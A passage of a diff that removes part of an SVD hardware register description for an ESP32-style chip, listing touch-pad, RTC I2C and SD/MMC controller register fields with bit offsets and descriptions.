-              <name>SLP_SEL</name>
-              <description>the sleep status selection signal of the pad</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_SEL</name>
-              <description>the functional selection signal of the pad</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MUX_SEL</name>
-              <description>Ò1Ó select the digital function  Ó0Óslection the rtc function</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XPD</name>
-              <description>touch sensor power on.</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIE_OPT</name>
-              <description>default touch sensor tie option. 0: tie low  1: tie high.</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>START</name>
-              <description>start touch sensor.</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DAC</name>
-              <description>touch sensor slope control. 3-bit for each touch panel  default 100.</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RUE</name>
-              <description>the pull up enable of the pad</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RDE</name>
-              <description>the pull down enable of the pad</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DRV</name>
-              <description>the driver strength of the pad</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOLD</name>
-              <description>hold the current value of the output when setting the hold to Ò1Ó</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TOUCH_PAD7</name>
-          <addressOffset>0xB0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x42000000</resetValue>
-          <fields>
-            <field>
-              <name>TO_GPIO</name>
-              <description>connect the rtc pad input to digital pad input Ó0Ó is availbale.GPIO27</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>the input enable of the pad</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_OE</name>
-              <description>the output enable of the pad in sleep status</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_IE</name>
-              <description>the input enable of the pad in sleep status</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>the sleep status selection signal of the pad</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_SEL</name>
-              <description>the functional selection signal of the pad</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MUX_SEL</name>
-              <description>Ò1Ó select the digital function  Ó0Óslection the rtc function</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XPD</name>
-              <description>touch sensor power on.</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIE_OPT</name>
-              <description>default touch sensor tie option. 0: tie low  1: tie high.</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>START</name>
-              <description>start touch sensor.</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DAC</name>
-              <description>touch sensor slope control. 3-bit for each touch panel  default 100.</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RUE</name>
-              <description>the pull up enable of the pad</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RDE</name>
-              <description>the pull down enable of the pad</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DRV</name>
-              <description>the driver strength of the pad</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOLD</name>
-              <description>hold the current value of the output when setting the hold to Ò1Ó</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TOUCH_PAD8</name>
-          <addressOffset>0xB4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x02000000</resetValue>
-          <fields>
-            <field>
-              <name>TO_GPIO</name>
-              <description>connect the rtc pad input to digital pad input Ó0Ó is availbale</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XPD</name>
-              <description>touch sensor power on.</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIE_OPT</name>
-              <description>default touch sensor tie option. 0: tie low  1: tie high.</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>START</name>
-              <description>start touch sensor.</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DAC</name>
-              <description>touch sensor slope control. 3-bit for each touch panel  default 100.</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TOUCH_PAD9</name>
-          <addressOffset>0xB8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x02000000</resetValue>
-          <fields>
-            <field>
-              <name>TO_GPIO</name>
-              <description>connect the rtc pad input to digital pad input Ó0Ó is availbale</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XPD</name>
-              <description>touch sensor power on.</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIE_OPT</name>
-              <description>default touch sensor tie option. 0: tie low  1: tie high.</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>START</name>
-              <description>start touch sensor.</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DAC</name>
-              <description>touch sensor slope control. 3-bit for each touch panel  default 100.</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>EXT_WAKEUP0</name>
-          <addressOffset>0xBC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SEL</name>
-              <description>select the wakeup source Ó0Ó select GPIO0 Ó1Ó select GPIO2 ...Ò17Ó select GPIO17</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>XTL_EXT_CTR</name>
-          <addressOffset>0xC0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SEL</name>
-              <description>select the external xtl power source Ó0Ó select GPIO0 Ó1Ó select GPIO2 ...Ò17Ó select GPIO17</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_I2C_IO</name>
-          <addressOffset>0xC4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SAR_DEBUG_BIT_SEL</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR_I2C_SCL_SEL</name>
-              <description>Ò0Ó using TOUCH_PAD[0] as i2c clk Ò1Ó using TOUCH_PAD[2] as i2c clk</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR_I2C_SDA_SEL</name>
-              <description>Ò0Ó using TOUCH_PAD[1] as i2c sda Ò1Ó using TOUCH_PAD[3] as i2c sda</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATE</name>
-          <addressOffset>0xC8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x01603160</resetValue>
-          <fields>
-            <field>
-              <name>IO_DATE</name>
-              <description>date</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>28</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral>
-      <name>RTC_I2C</name>
-      <description>Peripheral RTC_I2C</description>
-      <groupName>RTC_I2C</groupName>
-      <baseAddress>0x3FF48C00</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0x3C</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <registers>
-        <register>
-          <name>SCL_LOW_PERIOD</name>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SCL_LOW_PERIOD</name>
-              <description>number of cycles that scl == 0 </description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>25</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CTRL</name>
-          <addressOffset>0x4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SDA_FORCE_OUT</name>
-              <description>SDA is push-pull (1) or open-drain (0) </description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SCL_FORCE_OUT</name>
-              <description>SCL is push-pull (1) or open-drain (0) </description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MS_MODE</name>
-              <description>Master (1) or slave (0) </description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TRANS_START</name>
-              <description>Force to generate start condition </description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_LSB_FIRST</name>
-              <description>Send LSB first </description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_LSB_FIRST</name>
-              <description>Receive LSB first </description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DEBUG_STATUS</name>
-          <addressOffset>0x8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>ACK_VAL</name>
-              <description>The value of an acknowledge signal on the bus </description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLAVE_RW</name>
-              <description>When working as a slave, the value of R/W bit received </description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMED_OUT</name>
-              <description>Transfer has timed out </description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ARB_LOST</name>
-              <description>When working as a master, lost control of I2C bus </description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BUS_BUSY</name>
-              <description>operation is in progress </description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLAVE_ADDR_MATCH</name>
-              <description>When working as a slave, whether address was matched </description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BYTE_TRANS</name>
-              <description>8 bit transmit done </description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MAIN_STATE</name>
-              <description>state of the main state machine </description>
-              <bitOffset>25</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SCL_STATE</name>
-              <description>state of SCL state machine </description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIMEOUT</name>
-          <addressOffset>0xC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIMEOUT</name>
-              <description>Maximum number of FAST_CLK cycles that the transmission can take </description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SLAVE_ADDR</name>
-          <addressOffset>0x10</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLAVE_ADDR</name>
-              <description>local slave address </description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>15</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>_10BIT</name>
-              <description>Set if local slave address is 10-bit </description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATA</name>
-          <addressOffset>0x1C</addressOffset>
-          <size>0x20</size>
-        </register>
-        <register>
-          <name>INT_RAW</name>
-          <addressOffset>0x20</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLAVE_TRANS_COMPLETE_INT_RAW</name>
-              <description>Slave accepted 1 byte and address matched </description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ARBITRATION_LOST_INT_RAW</name>
-              <description>Master lost arbitration </description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MASTER_TRANS_COMPLETE_INT_RAW</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TRANS_COMPLETE_INT_RAW</name>
-              <description>Stop condition has been detected interrupt raw status </description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIME_OUT_INT_RAW</name>
-              <description>time out interrupt raw status </description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_CLR</name>
-          <addressOffset>0x24</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLAVE_TRANS_COMPLETE_INT_CLR</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ARBITRATION_LOST_INT_CLR</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MASTER_TRANS_COMPLETE_INT_CLR</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TRANS_COMPLETE_INT_CLR</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIME_OUT_INT_CLR</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_EN</name>
-          <addressOffset>0x28</addressOffset>
-          <size>0x20</size>
-        </register>
-        <register>
-          <name>INT_ST</name>
-          <addressOffset>0x2C</addressOffset>
-          <size>0x20</size>
-        </register>
-        <register>
-          <name>SDA_DUTY</name>
-          <addressOffset>0x30</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SDA_DUTY</name>
-              <description>Number of FAST_CLK cycles SDA will switch after falling edge of SCL </description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SCL_HIGH_PERIOD</name>
-          <addressOffset>0x38</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SCL_HIGH_PERIOD</name>
-              <description>Number of FAST_CLK cycles for SCL to be high </description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SCL_START_PERIOD</name>
-          <addressOffset>0x40</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SCL_START_PERIOD</name>
-              <description>Number of FAST_CLK cycles to wait before generating start condition </description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SCL_STOP_PERIOD</name>
-          <addressOffset>0x44</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SCL_STOP_PERIOD</name>
-              <description>Number of FAST_CLK cycles to wait before generating stop condition </description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CMD</name>
-          <addressOffset>0x48</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>VAL</name>
-              <description>Command content </description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>14</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DONE</name>
-              <description>Bit is set by HW when command is done </description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral>
-      <name>SDMMC</name>
-      <description>SD/MMC Host Controller</description>
-      <groupName>SDHOST</groupName>
-      <baseAddress>0x3FF68000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0xA4</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <registers>
-        <register>
-          <name>CTRL</name>
-          <description>Control register</description>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CONTROLLER_RESET</name>
-              <description>To reset controller, firmware should set this bit. This bit is auto-cleared after two AHB and two sdhost_cclk_in clock cycles.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FIFO_RESET</name>
-              <description>To reset FIFO, firmware should set bit to 1. This bit is auto-cleared after completion of reset operation.
-Note: FIFO pointers will be out of reset after 2 cycles of system clocks in addition to synchronization delay (2 cycles of card clock), after the fifo_reset is cleared.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DMA_RESET</name>
-              <description>To reset DMA interface, firmware should set bit to 1. This bit is auto-cleared after two AHB clocks.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INT_ENABLE</name>
-              <description>Global interrupt enable/disable bit. 0: Disable; 1: Enable.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>READ_WAIT</name>
-              <description>For sending read-wait to SDIO cards.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SEND_IRQ_RESPONSE</name>
-              <description>Bit automatically clears once response is sent. To wait for MMC card interrupts, host issues CMD40 and waits for interrupt response from MMC card(s). In the meantime, if host wants SD/MMC to exit waiting for interrupt state, it can set this bit, at which time SD/MMC command state-machine sends CMD40 response on bus and returns to idle state.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ABORT_READ_DATA</name>
-              <description>After a suspend-command is issued during a read-operation, software polls the card to find when the suspend-event occurred. Once the suspend-event has occurred, software sets the bit which will reset the data state machine that is waiting for the next block of data. This bit is automatically cleared once the data state machine is reset to idle.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SEND_CCSD</name>
-              <description>When set, SD/MMC sends CCSD to the CE-ATA device. Software sets this bit only if the current command is expecting CCS (that is, RW_BLK), and if interrupts are enabled for the CE-ATA device. Once the CCSD pattern is sent to the device, SD/MMC automatically clears the SDHOST_SEND_CCSD bit. It also sets the Command Done (CD) bit  in the SDHOST_RINTSTS_REG register, and generates an interrupt for the host, in case the Command Done interrupt is not masked. 
-NOTE: Once the SDHOST_SEND_CCSD bit is set, it takes two card clock cycles to drive the CCSD on the CMD line. Due to this, within the boundary conditions the CCSD may be sent to the CE-ATA device, even if the device has signalled CCS.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SEND_AUTO_STOP_CCSD</name>
-              <description>Always Set SDHOST_SEND_AUTO_STOP_CCSD and SDHOST_SEND_CCSD bits together; SDHOST_SEND_AUTO_STOP_CCSD should not be set independently of send_ccsd. When set, SD/MMC automatically sends an internally-generated STOP command (CMD12) to the CE-ATA device. After sending this internally-generated STOP command, the Auto Command Done (ACD) bit in SDHOST_RINTSTS_REG is set and an interrupt is generated for the host, in case the ACD interrupt is not masked. After sending the Command Completion Signal Disable (CCSD), SD/MMC automatically clears the  SDHOST_SEND_AUTO_STOP_CCSD bit.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CEATA_DEVICE_INTERRUPT_STATUS</name>
-              <description>Software should appropriately write to this bit after the power-on reset or any other reset to the CE-ATA device. After reset, the CE-ATA device's interrupt is usually disabled (nIEN = 1). If the host enables the CE-ATA device's interrupt, then software should set this bit.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CLKDIV</name>
-          <description>Clock divider configuration register</description>
-          <addressOffset>0x8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CLK_DIVIDER0</name>
-              <description>Clock divider0 value. Clock divisor is 2*n, where n = 0 bypasses the divider (divisor of 1). For example, a value of 1 means divided by 2*1 = 2, a value of 0xFF means divided by 2*255 = 510, and so on.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CLK_DIVIDER1</name>
-              <description>Clock divider1 value. Clock divisor is 2*n, where n = 0 bypasses the divider (divisor of 1). For example, a value of 1 means divided by 2*1 = 2, a value of 0xFF means divided by 2*255 = 510, and so on.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CLK_DIVIDER2</name>
-              <description>Clock divider2 value. Clock divisor is 2*n, where n = 0 bypasses the divider (divisor of 1). For example, a value of 1 means divided by 2*1 = 2, a value of 0xFF means divided by 2*255 = 510, and so on.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CLK_DIVIDER3</name>
-              <description>Clock divider3 value. Clock divisor is 2*n, where n = 0 bypasses the divider (divisor of 1). For example, a value of 1 means divided by 2*1 = 2, a value of 0xFF means divided by 2*255 = 510, and so on.</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CLKSRC</name>
-          <description>Clock source selection register</description>
-          <addressOffset>0xC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CLKSRC</name>
-              <description>Clock divider source for two SD cards is supported. Each card has two bits assigned to it. For example, bit[1:0] are assigned for card 0, bit[3:2] are assigned for card 1. Card 0 maps and internally routes clock divider[0:3] outputs to cclk_out[1:0] pins, depending on bit value.
-00 : Clock divider 0;
-01 : Clock divider 1;
-10 : Clock divider 2;
-11 : Clock divider 3.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CLKENA</name>
-          <description>Clock enable register</description>
-          <addressOffset>0x10</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CCLK_ENABLE</name>
-              <description>Clock-enable control for two SD card clocks and one MMC card clock is supported. One bit per card.
-0: Clock disabled;
-1: Clock enabled.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LP_ENABLE</name>
-              <description>Disable clock when the card is in IDLE state. One bit per card.
-0: clock disabled;
-1: clock enabled.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TMOUT</name>
-          <description>Data and response timeout configuration register</description>
-          <addressOffset>0x14</addressOffset>
-          <size>0x20</size>
-          <resetValue>0xFFFFFF40</resetValue>
-          <fields>
-            <field>
-              <name>RESPONSE_TIMEOUT</name>
-              <description>Response timeout value. Value is specified in terms of number of card output clocks, i.e., sdhost_cclk_out.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DATA_TIMEOUT</name>
-              <description>Value for card data read timeout. This value is also used for data starvation by host timeout. The timeout counter is started only after the card clock is stopped. This value is specified in number of card output clocks, i.e. sdhost_cclk_out of the selected card.
-NOTE: The software timer should be used if the timeout value is in the order of 100 ms. In this case, read data timeout interrupt needs to be disabled.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>24</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CTYPE</name>
-          <description>Card bus width configuration register</description>
-          <addressOffset>0x18</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CARD_WIDTH4</name>
-              <description>One bit per card indicates if card is 1-bit or 4-bit mode.
-0: 1-bit mode;
-1: 4-bit mode.
-Bit[1:0] correspond to card[1:0] respectively.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARD_WIDTH8</name>
-              <description>One bit per card indicates if card is in 8-bit mode.
-0: Non 8-bit mode;
-1: 8-bit mode.
-Bit[17:16] correspond to card[1:0] respectively.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLKSIZ</name>
-          <description>Card data block size configuration register</description>
-          <addressOffset>0x1C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000200</resetValue>
-          <fields>
-            <field>
-              <name>BLOCK_SIZE</name>
-              <description>Block size.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BYTCNT</name>
-          <description>Data transfer length configuration register</description>
-          <addressOffset>0x20</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000200</resetValue>
-          <fields>
-            <field>
-              <name>BYTE_COUNT</name>
-              <description>Number of bytes to be transferred, should be an integral multiple of Block Size for block transfers. For data transfers of undefined byte lengths, byte count should be set to 0. When byte count is set to 0, it is the responsibility of host to explicitly send stop/abort command to terminate data transfer.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INTMASK</name>
-          <description>SDIO interrupt mask register</description>
-          <addressOffset>0x24</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>INT_MASK</name>
-              <description>These bits used to mask unwanted interrupts. A value of 0 masks interrupt, and a value of 1 enables the interrupt.
-Bit 15 (EBE): End-bit error/no CRC error;
-Bit 14 (ACD): Auto command done;
-Bit 13 (SBE/BCI): Rx Start Bit Error;
-Bit 12 (HLE): Hardware locked write error;
-Bit 11 (FRUN): FIFO underrun/overrun error;
